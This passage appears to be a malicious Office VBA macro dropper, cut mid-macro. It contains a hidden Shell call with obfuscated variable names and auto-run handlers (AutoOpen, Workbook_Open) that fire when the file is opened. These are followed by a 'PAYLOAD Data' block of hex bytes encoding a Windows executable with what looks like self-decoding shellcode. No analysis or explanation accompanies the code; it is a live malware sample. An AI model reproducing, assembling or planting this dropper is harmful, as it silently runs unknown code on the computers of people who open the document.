ihkfqdupbjmccvndfqkr = Shell(emmlbielcbwhdlz, vbHide)
End Sub
Sub AutoOpen()
Auto_Open
End Sub
Sub Workbook_Open()
Auto_Open
End Sub
PAYLOAD Data
Sowdtiedyp
&H4D&H5A&H90&H00&H03&H00&H00&H00&H04&H00&H00&H00&HFF&HFF&H00&H00&HB8&H00&H00&H00&H00&H00&H00&H00&H40&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H80&H00&H00&H00&H0E&H1F&HBA&H0E&H00&HB4&H09&HCD&H21&HB8&H01&H4C&HCD&H21&H54&H68&H69&H73&H20&H70&H72&H6F&H67&H72&H61&H6D&H20&H63&H61&H6E&H6E&H6F&H74&H20&H62&H65&H20&H72&H75&H6E&H20&H69&H6E&H20&H44&H4F&H53&H20&H6D&H6F&H64&H65&H2E&H0D&H0D&H0A&H24&H00&H00&H00&H00&H00&H00&H00&H50&H45&H00&H00&H4C&H01&H03&H00&H34&H0B&H08&HE8&H00&H00&H00&H00&H00&H00&H00&H00&HE0&H00&H0F&H03&H0B&H01&H02&H38&H00&H02&H00&H00&H00&H0E&H00&H00&H00&H00&H00&H00&H00&H10&H00&H00&H00&H10&H00&H00&H00&H20&H00&H00&H00&H00&H40&H00&H00&H10&H00&H00&H00&H02&H00&H00&H04&H00&H00&H00&H01&H00&H00&H00&H04&H00&H00&H00&H00&H00&H00&H00&H00&H40&H00&H00&H00&H02&H00&H00&H46&H3A&H00&H00&H02&H00&H00&H00&H00&H00&H20&H00&H00&H10&H00&H00&H00&H00&H10&H00&H00&H10&H00&H00&H00&H00&H00&H00&H10&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H0
0&H00&H30&H00&H00&H64&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H2E&H74&H65&H78&H74&H00&H00&H00&H28&H00&H00&H00&H00&H10&H00&H00&H00&H02&H00&H00&H00&H02&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H20&H00&H30&H60&H2E&H64&H61&H74&H61&H00&H00&H00&H90&H0A&H00&H00&H00&H20&H00&H00&H00&H0C&H00&H00&H00&H04&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H20&H00&H30&HE0&H2E&H69&H64&H61&H74&H61&H00&H00&H64&H00&H00&H00&H00&H30&H00&H00&H00&H02&H00&H00&H00&H10&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H40&H00&H30&HC0&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H
00&HB8&H00&H20&H40&H00&HFF&HE0&H90&HFF&H25&H38&H30&H40&H00&H90&H90&H00&H00&H00&H00&H00&H00&H00&H00&HFF&HFF&HFF&HFF&H00&H00&H00&H00&HFF&HFF&HFF&HFF&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&
H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00
&H00&HD9&HE9&HB8&H6C&HF0&H57&H6D&HD9&H74&H24&HF4&H5A&H2B&HC9&H66&HB9&H04&H02&H83&HC2&H04&H31&H42&H16&H03&H42&H7A&H12&HA2&H5C&H42&HBA&H45&H8F&H02&H3B&H32&H50&HB2&H5F&H33&H8E&H08&HA0&H65&H4E&H00&H05&HA2&H89&HAC&H9D&HC1&H72&H7F&H17&H98&HD5&HFC&H67&HDF&HE8&H52&H67&HE3&H5A&H62&HB3&H97&HCA&H24&HB1&H2F&H82&H1E&H2D&H31&HD8&H59&H9A&HAA&H25&H52&H47&HDC&H2E&H27&H27&H83&H17&H1F&HDC&HA8&H29&H66&H4F&H63&HD7&H62&HF8&HD2&HF7&HEA&H2A&HC8&H3A&H4B&HD1&HFA&HB8&HCD&HA8&HFE&HE9&H8E&H27&H56&H53&HE4&H63&HDA&HB0&HA2&HDE&HE8&H58&HD4&HB2&HDF&HDC&HDD&H7C&H13&HC4&HC7&HC0&H69&H39&HC8&HAF&HF9&HF0&HBD&H35&H85&H1F&H03&HD3&HAD&H7C&H68&H08&H9A&H21&HA5&HF7&HA1&HF8&H11&H82&H71&H19&H32&HD2&HAB&HA4&H47&H31&H0D&HB1&HA5&HD1&H99&HD0&HA1&H51&HF0&H83&HBD&H3A&H43&H12&H95&H64&H9D&H93&H5C&H0E&HFE&H19&H7C&H56&HC3&H8E&HCE&H86&H7A&H72&HFF&H48&H9B&HFB&H20&HAD&HF1&HC9&H69&H04&H6E&H3C&HD2&H7C&H21&H21&HA9&H94&H26&H57&H64&H0A&HDB&HA9&HCA&HAF&HEE&H35&H24&HCB&HDA&H97&HCE&H38&HD5&H22&H98&H06&H5C&HBA&H19&H11&HD8&HE0&HCA&H81&H35&H6A&H8F&H1A&HF0&H16&H5E&HF8&H61&H3D&H3
C&HB9&H61&HEB&HB2&H98&H3F&H11&H24&H93&H1D&H56&H59&H52&HE3&H09&HB1&H04&H09&H56&H45&HCD&HB3&H6F&HC8&HBE&H84&H4A&HCA&H57&H97&H19&H42&HAA&H65&H04&H4B&HA8&HBF&H99&H4A&H0D&H14&H6D&HAD&H05&HC4&H50&HDB&H45&HA9&H6A&H93&H69&H80&H16&H10&H9D&HA9&H24&H63&HDD&H4B&HAB&H32&H19&HBA&H49&H7D&H22&H82&H7D&H44&H4E&H9A&HD5&HDC&HEF&H02&H97&H3F&HEA&H3E&H7D&H76&HC4&HEA&H81&HFF&HF1&H85&H0A&H77&H1D&H07&HD9&HF1&HFC&HC9&HAD&HE3&H1C&H59&HD2&HC5&H6B&H6A&H01&H4F&H1E&H54&H72&HD9&H4C&H7E&H30&H3B&H6B&HFA&H4F&HFC&H8A&HAD&H79&H63&H94&H07&H45&HF1&HE6&HBE&HBD&HA6&H93&H81&HAC&H1C&H29&HC1&H69&HF5&H72&H3B&HAB&HA9&H02&H79&HBD&H2A&H36&H95&H24&HAF&H8E&HF0&H0A&H14&H57&H0E&H6A&HF8&H6B&H04&HA1&HD4&HA3&HFD&HCD&HF1&H54&HC3&H0B&H5F&H5A&HD7&H85&H2C&H8F&H73&H4D&H66&H9D&H33&HC3&H08&HF4&HA2&HA4&H06&H57&H71&HE7&H2F&H00&HC2&H6D&HCC&H82&HF0&H0F&H20&HA9&HD4&HBC&H9C&H38&H50&HDE&H6D&H98&H39&H10&H86&H64&H8E&H47&HC6&HA7&H74&HE7&HBF&HA3&H7B&H37&HCB&H57&HCF&H75&H28&H3E&H13&HA1&HDC&H45&H73&H70&HEB&HE6&H65&HC4&HA6&H6B&H32&HBF&HB5&H7C&HC6&H3F&H19&H7F&H5C&HCE&H47&H23&HE1&H02&H
FE&H5F&HFB&H53&H77&HAA&HB1&HAA&H2F&H21&H13&HC6&HD4&H78&HC7&H6C&HCA&H81&H64&H76&H80&H05&H1F&H78&HCB&H4F&H8F&H8C&HF4&H11&H5B&HA4&H2D&H25&HC9&H66&HCF&HBB&H14&HB5&H28&HBC&HA8&HC8&HD9&H6C&H43&HFD&HA1&H2C&H4C&H9A&H72&HBD&H65&H90&H68&H70&HA7&HF8&H51&HE3&H92&H7D&H63&H2E&HC6&H98&HC8&HBB&HDC&H84&H27&H56&HC2&H81&HE3&H9B&HC3&H17&HDA&HC8&HD1&HE2&H71&HF9&H7B&H56&H6F&H59&H8B&H06&H48&H31&H2E&H80&H6C&HF1&H48&HC8&HDF&H9F&HBB&HDF&H32&H09&HEC&HD3&H78&H64&HDF&HA8&HE0&H4E&H88&HF4&HF0&HA3&HCD&HB4&H85&H35&HA1&H6D&HC0&H2C&H4F&HD3&H82&H40&H1F&H54&H60&H91&HC1&H6A&H57&H1E&HF8&H14&HA2&H1F&H13&H24&H51&H67&H2D&HC0&H27&H9A&HB7&HA6&H18&H2D&HC2&HCD&H73&H71&H9F&HD9&HB0&H62&H50&HAB&H37&H5C&H88&HD4&HBC&H65&H39&HF8&H21&HD3&H93&H41&HB0&H3F&H5D&HDF&H43&H0D&H22&HAD&H0E&H48&HC9&H34&H7C&HB2&H6D&HD7&H7E&HE6&H44&HD6&H80&H48&H85&H84&H39&H57&H7F&HF8&H4B&HE1&H49&H52&H69&H36&H8F&HC4&H15&HF1&H31&HCE&HD9&H97&H84&H3D&H8B&HFD&H2D&HFD&HD9&HAF&HD8&HA0&H66&HFE&H86&H2D&H19&HA6&H50&H24&H79&H49&HC6&HC8&HD4&HB5&H0E&HC2&H4C&H14&H86&HFB&HD3&H04&H75&H39&HD1&H31&H94&HA6&
H65&H47&H7A&H1B&H1B&H0A&H9F&H58&H18&HC7&H71&H1D&H82&HA8&H99&HC3&HF2&H24&H3D&H3C&HD5&H95&HE3&H3B&HED&H45&HE7&H59&HD0&H20&H0D&HD5&HE6&H65&H07&HE2&HA9&H6E&H45&H83&HAA&HC8&HC6&H01&H30&HAA&H88&H0D&HD8&HF2&HF2&H3F&HF8&H71&H91&H06&H22&HE2&HF3&H66&H70&H3A&H75&H9D&H7C&H1E&H12&HD3&H8A&H63&H49&H2B&HD1&HE3&H51&H0A&HEE&H69&H46&HEA&H4E&H2C&H1D&H71&H49&H3E&H71&HD1&HF6&HB1&HC3&HF5&HDC&HEF&HF2&HF3&H02&H9C&H3B&H48&HF3&H3B&H46&H4B&HD0&H5E&HD7&H84&HDE&H4B&H92&H36&H58&H06&H1B&H76&H4E&H55&H82&HA1&HA2&H39&HB4&H91&HCE&H95&H87&HB2&HF3&H28&H51&H18&H77&H91&H51&H18&H0F&HCF&H45&H0D&H7D&HE7&H9A&H82&H1C&H2C&H62&H67&H05&HB9&HA2&H72&H0B&H1A&HA8&HD4&H5F&H30&HEC&H57&HC3&H6B&HEF&HAE&H6F&H28&HB6&HD9&HC3&HF4&H27&H46&HE4&H99&H32&H53&HF9&H4F&HC8&HB2&HD0&HD6&HA4&H19&H51&H5E&H22&HAE&H83&H85&HE2&HDC&H76&HF4&H94&H28&H78&H0B&H5D&H03&HDF&H24&H9A&H19&H81&HA7&HE5&H7B&H9C&HC0&HA7
&H96&HC3&H3D&HF8&H4B&HA8&H15&H96&H9E&H1D&H97&H5A&H83&H5E&H50&HF4&H30&HDF&H4C&H1F&HD2&HAB&HC0&H69&H89&H0C&HAD&HFE&H8A&H7A&HBA&HE3&H2A&HEF&HE8&HAF&H39&HC0&HDE&HB2&H04&H3B&H52&H79&H77&HEC&HE8&HC8&H29&H69&HC9&HB7&H87&HD4&H3E&HC2&HC8&H10&HBB&H0A&HA6&H32&H84&H54&HD8&H3E&HFC&H73&H82&HF2&H75&HEC&HCD&HAB&HD9&H45&H0F&H92&H6F&H6C&H79&H05&H59&HA3&HD6&HC4&HEA&H2D&H25&H82&HC0&H50&HBE&H06&H17&H96&HB1&HD7&H6C&H71&H3A&H3A&H68&H61&H3F&HCF&H3A&H70&HF4&H6E&HBC&HA2&H57&HFA&H49&H9F&H25&H45&H7B&HB4&H72&HC6&H72&HBB&HBC&HAE&HA7&H49&H93&H50&HB3&H4F&H24&H7E&H8C&HC3&H4A&HA6&H1D&HD0&HA2&HB9&HC7&H3F&H8A&HFF&HF7&H10&H57&H25&H88&HD8&H94&H05&H8C&H58&H16&HAB&HD4&HC2&HD8&H8D&HFF&HC3&H8A&HBF&H81&H90&H47&H98&H80&H66&H9B&HF5&HE5&HA2&H9D&HCA&H68&H3C&H8D&HAD&H2A&H79&HFD&H20&HE3&H7C&HAF&HDC&HD6&H25&H69&H92&H31&HD0&HD3&H70&H6E&H5F&H4B&H64&HA6&H50&H96&H1B&H15&H88&H87&H71&H4A&HF9&HD9&H8B&H4C&HF6&HD2&HA8&HD0&H95&H68&HA7&H1F&H80&H76&H9B&HDC&HC2&H74&H99&H38&HC7&HBE&H55&H59&HE3&HE9&H64&H68&H8E&H5D&H43&H1A&HA0&H77&H6A&HB5&H0D&H9A&H91&H71&H53&H63&H5A&H5A&H8
C&H86&H81&HEA&H64&H1C&HFF&H2C&H25&H1A&HA3&HFB&H37&HE3&HBF&H97&H78&H3F&H8A&H10&HF2&H6F&HF6&H07&HC6&HA0&H97&HE8&HCA&H57&HDF&H33&HF6&H41&H1D&H2F&HCF&H81&H13&H69&H2C&HED&HCF&H93&H5A&H3F&H9A&H45&HA6&HAD&H4B&H37&H19&H4F&H66&HF5&H1D&HDF&H8B&HF1&HF6&H9B&H7A&H7F&H21&HBB&H86&HAD&HD3&H95&HAD&H0A&HE7&H10&HB5&HD1&HD6&H3E&H1B&HED&H53&H99&H5D&HD2&HBE&HAC&HF0&H5C&HD7&H28&HD9&HA8&HFC&H3A&H68&HC7&H19&H98&H5C&H2B&H02&H1B&H14&H41&HCB&H1D&H89&H43&H54&H4C&H00&H36&H62&HA0&HF1&H55&H06&H01&H96&HFF&H57&HC9&HFA&H8B&H8E&H60&HEF&H15&HF0&HBF&HD8&H3B&H69&H20&H70&H61&H76&HCB&H6B&H14&H82&H80&HDE&H21&H11&H30&HC0&H6A&HE5&HBF&H77&H55&HC4&HF8&H5D&H12&HBC&H8D&HBC&HB2&H31&H9F&HF6&H31&HF3&HAD&HCF&H34&H26&HCF&H62&HAF&H11&H0A&H52&H05&H28&H8D&H2C&H73&H77&H38&H53&H95&H79&H9A&HC9&HAA&HE7&H33&H9B&H5E&H1D&H65&H88&HA8&HA4&H76&H6D&HEB&H62&H90&HA6&H2C&H9A&HED&H6F&H33&H58&HA1&HB4&HB7&H92&H19&H04&HEA&HFD&H2B&H1A&HFD&H9E&HD8&H92&H07&H62&H5A&H55&HB1&H9D&H31&HDB&HC7&H00&H4C&H70&H7D&HAB&HDD&H8A&H79&HA4&HFD&H5F&HA3&H81&HF1&H16&H76&H8B&H97&HD1&HCA&H41&H4E&H9F&H88&H
F8&H2B&HC5&H93&H34&H59&H70&HB1&H00&HE4&H6E&HCE&HEE&HA3&HC2&HA6&HC7&HE7&H80&H11&HE5&H6C&H98&H15&H50&H17&HBA&H01&H83&H25&H19&H9D&HD1&H49&HC3&HFB&HB4&HC7&H21&H92&HA2&HA5&HC4&HC1&H21&H1F&HAA&HEC&HFB&H64&H10&H5A&H50&H04&HC8&H49&HC7&HDB&H35&H45&H50&H77&H07&HF5&H49&H36&H6E&HFA&H47&H2C&HB8&H73&H5B&HB3&HB0&H80&H5B&HF7&HE3&H07&H6E&HAB&H4A&H98&H34&H66&H1F&HF8&H8E&H25&H30&HDC&H02&HFA&HF4&H01&H60&H1D&H18&HC0&HA4&HCC&H2A&H98&H88&HF7&H1C&H66&H1B&H7D&H30&HD8&HE4&HFC&H79&HD8&HC0&HA8&H86&H7C&H55&H77&H77&HD1&H91&H0A&H93&H52&HFF&H46&HE5&HC4&HB2&H0B&HE8&H3D&H0F&HE9&H8F&H1E&HDB&H31&HE4&H9A&H69&H01&HA0&HA7&H5C&HA5&H5E&HF4&H39&H0F&H86&H27&H04&HEF&H21&H3E&H41&H51&H08&HDB&HBB&HDD&H6A&H2F&H9E&H36&H4F&HEB&H2B&H67&H7D&HC1&HDB&H6C&HED&H95&H69&H93&H1F&HD2&H81&HB2&HEB&H81&H59&H21&HC6&HF3&H60&H83&H85&H27&HE0&H0A&H03&H8C&H0B&HDD&H75&H32&HBB&HAD&H28&H39&HDB&H52&HBB&H72&HB8&HEB&H77&HCD&HEC&H40&H96&HE1&H61&H13&H3E&H72&H8E&HCA&H75&H45&H04&H0B&H8A&HA4&H67&H5D&H97&H2C&HC8&H42&H11&H09&HF8&H81&H07&H95&H2E&HCD&H89&HDE&H1C&H74&H69&H7D&HA0&HC3&H33&HBD&
H0B&HBE&H6E&H6E&H13&H80&H8D&H53&H88&H81&HD6&HBC&H1E&H0E&HE5&H54&H7C&H73&H4E&HE0&H8B&HED&HEF&H8F&HC4&HD9&HD7&H33&H86&H73&H30&H55&HEE&HEE&H9E&HC0&H68&H84&HFB&H19&HA9&H1A&H47&HA1&H15&HB7&HA5&H1F&HDC&H52&H2F&HBA&HD6&HCE&H75&H97&HA1&HAE&H36&H80&HFA&HCC&H33&HBF&HAE&H38&H7B&H4B&HE1&H5A&HF6&H72&H05&HFA&HCA&H98&H86&H6F&H87&H4A&H3D&H27&H94&HA9&HEC&H01&HF1&HC0&H34&H33&HD1&HCC&H32&HD8&HD0&H94&HCA&H52&H65&HA1&HA7&HD0&H71&H92&HF8&H69&H1E&H3D&HB4&H49&H87&HE6&H72&HF8&H20&H90&HEE&HF3&HDD&H50&H39&H9D&H94&H64&H04&H79&H4E&H18&H74&H55&H13&HE0&H3A&H57&H67&H5E&H6F&H12&H7E&H35&H59&H1D&H16&HAC&HEC&H16&HE0&HEB&HCE&H58&H0F&HBB&H52&H50&H22&H6C&HFF&H21&HE5&H01&H6A&H67&H21&HD9&HF7&H0E&H82&HF5&H97&H0A&H76&H5E&HFB&H14&H27&H70&HA3&H89&H85&H25&H69&H43&H76&HC4&H50&H28&HDC&H94&HEF&HBA&H5A&HFC&H51&H83&H7C&H10&HE8&H87&H26&HA6&HFD&HEB&HF2&H3A&H95&H48&H00&H4D&H73&H6F&H20&H5F&H17&H4B&HE4&H2B&H9C&H5A&HE7&HBD&H4E&HF0&H20&H83&H0F&HB5&HB2&H0A&H08&HF2&HD6&H22&H95&H29&H6D&HBD&HD6&H72&HB7&HCF&HB7&HC0&HDF&H3B&HFA&HAB&H33&H9E&HC6&H56&H81&H77&H38&HCA&H19&HBB
&H1E&H03&HB8&HC6&H12&H05&H0A&H5A&HCF&HAE&HDB&H50&HFF&H6C&H8C&HEF&H00&HF9&HB6&H34&HC5&H02&HEC&H9C&H8F&H3E&H18&H98&H3E&HD3&H2C&H3C&HCF&H49&H76&HEA&H38&H10&H8A&HFA&H9C&HE6&HED&HC9&H9C&HA8&HF4&H76&H38&HAA&HBE&HC8&H78&H52&H93&HE7&H6C&HAB&H14&H95&H3D&H38&HFB&H74&H10&H5B&H5B&H45&H50&H97&H49&HA6&HE0&H16&HD4&H47&H71&HB6&H7B&H85&H77&HEE&H21&H31&HF8&H5A&H38&H98&H68&HA8&H48&HE9&HDC&H87&H2E&H55&HC8&HAB&H5F&H52&HB0&HF3&HF2&H47&HC8&H27&H66&H2A&H99&HB3&H33&H05&H2F&H54&HCA&H61&HE0&H88&H77&HCB&H94&H64&HD0&H9D&HF6&HD0&HE7&HC9&HCA&H7A&HC9&HFC&H38&H73&H56&HB8&H3F&H89&HFD&HCE&H16&H3C&H55&H56&HE1&HCE&H14&H15&HF3&HCB&HF0&HDB&HF6&HE9&HE3&H81&H18&H80&H7E&H97&HC6&H11&HA5&HF7&H77&HB8&H9A&HBE&H08&HFE&H92&H1A&HA0&HD9&H23&H66&H28&HA4&HDF&HFE&HEF&H93&HBE&HE6&H4E&HA4&H20&H4B&HE1&H4B&H72&HDA&H24&HF3&H65&HB6&H8F&H16&H57&H4A&H38&H57&HEB&HD8&H5A&H7C&H68&HA7&H26&HF8&H8E&H8F&H7F&H0D&H90&H82&H2F&HD1&HAF&H67&H38&HE8&H6C&H14&HA3&H97&H96&HB7&H93&H78&HE1&HE2&H40&HA0&H66&H33&HD7&H5C&HC5&HEA&HEA&H19&H01&H47&HC1&H1C&H76&HEF&H66&H88&H80&H52&H13&HE9&HA0&HB
A&H01&HCC&H27&H42&H7F&HFD&HDC&HD8&H50&H14&HA7&HA5&HA0&HE5&H4C&HD9&H1F&H74&H43&H10&H15&H9D&H4F&HF8&H6E&HCE&HCB&H34&HAF&HD6&H17&H08&H62&H5D&H81&HEC&H9A&HAA&HBE&H5D&H80&H82&HD8&HA6&H5F&HA3&H6A&HA5&HB1&HE0&H4D&HFD&H5E&H11&H1C&HAA&HB0&HC0&HA5&HC1&H8D&H70&H93&H65&H99&HBB&H5C&H62&H16&H38&H3E&H22&H7E&H2E&H53&HFC&HCE&H2C&H30&H59&HD4&HF7&H39&HAD&H7F&H3E&HE4&H4D&H38&HFF&HE4&H95&H4F&H7A&H82&H18&H0B&H3F&H3A&H2A&HA2&H14&H87&HA5&HCD&HCF&H17&HA0&H73&HED&H95&H7D&HFE&HB8&H4F&HB4&H7D&HDC&H78&HBD&H2D&H72&HF2&H07&H3A&HC4&H88&H80&H7E&H00&HDB&H42&H47&H46&H49&H23&H83&HE2&H1C&H60&H49&HC4&HA9&H4F&H15&HC9&HA6&H92&HF6&H12&HD2&H53&HC7&HB4&HCB&H70&HF9&HE0&H54&H8D&HA1&H53&H68&H52&H9E&H78&HE9&H0F&H62&H15&H11&HDF&H81&HC7&H8C&H90&HD9&H4A&H00&HBE&HBE&H5B&H23&H37&H40&H48&H57&H7B&HF5&H70&HA9&H94&H41&H32&HFC&HCE&H53&H3D&HE9&H09&H97&H3D&HB0&H19&HED&H2D&H7B&H05&HD2&H2C&HD4&H56&H4D&H6E&H5D&H03&H67&HE2&H36&H52&H82&H51&H26&HB8&H1F&HE3&H48&HD1&H85&HEF&H2D&HD1&H41&HEF&HA7&HF8&H6F&HA8&H95&HB9&H3E&H0C&H84&H7E&HEF&HD1&HA6&H4E&HCA&H0A&HBC&H5F&HD3&HD8&HDB&H
C3&H72&HDE&HCE&H60&H1D&HC7&H07&HB2&HD6&H9C&HEF&H16&H23&H32&H7D&HD8&H5E&HAF&H55&HBE&HB0&H25&H80&H45&H6B&H70&HDF&H9C&H84&H7F&H4B&H5F&H4F&H0F&H20&H35&HB3&H2F&HBD&HE7&H17&H38&HD8&H6E&HB1&HAA&H63&H16&HC8&H24&H17&H04&H97&H80&H4D&H6D&HBB&H2F&H35&H6D&HDC&HCD&H9D&H7C&H29&H31&H1E&H48&H6C&H47&H6E&H20&HC2&H08&H7A&H11&H5E&HCC&H39&H8B&HA7&H1D&H78&HDB&H0F&HDD&H12&H18&H5D&HF8&H03&HAD&H5E&H8A&H61&H93&H51&HB8&HE1&H81&H87&H0C&H53&H0E&HE6&H73&HF9&H4E&HDD&H2B&HA6&HE4&HEA&HD8&HC8&H82&HA1&HD5&H97&HC3&HF7&H15&H8F&H9B&HE4&H12&H6D&HC4&HAB&H26&H4A&H50&H59&H3C&H64&H10&H9F&H12&H04&H9C&HC9&HC9&HF6&HD3&H3D&H93&H15&H6A&HE4&H89&H48&H69&HD8&H54&H6F&HB5&H1D&H05&HE0&H25&HFF&H8D&H92&HBF&HD2&H04&H1B&HD8&H2A&HA4&H34&HD6&HAE&HFB&H7F&HEC&H5A&H07&H63&H81&HC1&H1D&H96&HD2&H39&H23&H35&H07&H94&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&
H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00
&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H2C&H30&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H54&H30&H00&H00&H38&H30&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H40&H30&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H40&H30&H00&H00&H00&H00&H00&H00&H9C&H00&H45&H78&H69&H74&H50&H72&H6F&H63&H65&H73&H73&H00&H00&H00&H00&H30&H00&H00&H4B&H45&H52&H4E&H45&H4C&H33&H32&H2E&H64&H6C&H6C&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H0
0&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&